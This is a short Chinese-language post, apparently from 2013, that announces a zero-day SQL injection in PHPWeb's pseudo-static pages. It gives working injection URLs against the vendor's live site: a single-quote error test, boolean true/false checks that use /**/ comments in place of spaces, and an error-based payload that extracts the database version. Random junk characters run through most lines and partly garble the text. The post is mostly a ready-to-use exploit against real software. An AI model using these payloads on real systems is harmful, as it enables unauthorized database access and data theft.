phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

主站：http://phpweb.net/
1 u! O# y, L/ a) M& o5 F, c3 s# M加’检测：
! T( |) \& F9 c$ m  }) \
7 i; B/ L: K6 z2 [http://www.phpweb.net/down/html/?772′.html
1 [5 l  z% d) a! s. {2 `$ Y5 `
出错
, ?7 R' p9 X2 `: R2 S% ]( `* }存在注入。
4 T) G6 y8 @* O1 C; q" Q: H7 A: L不能用空格，只能用/*罗
) ^/ \. T3 ~- t3 P8 M" X6 m7 V& Z! |http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
# H4 |  {* Y, j1 ^# y
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
- I; Q+ E4 [( e5 l" j5 r爆数据库版本：

?
5 R) v$ d* F3 Q+ W) l( c1
, ^- c3 k4 B  J! s% shttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50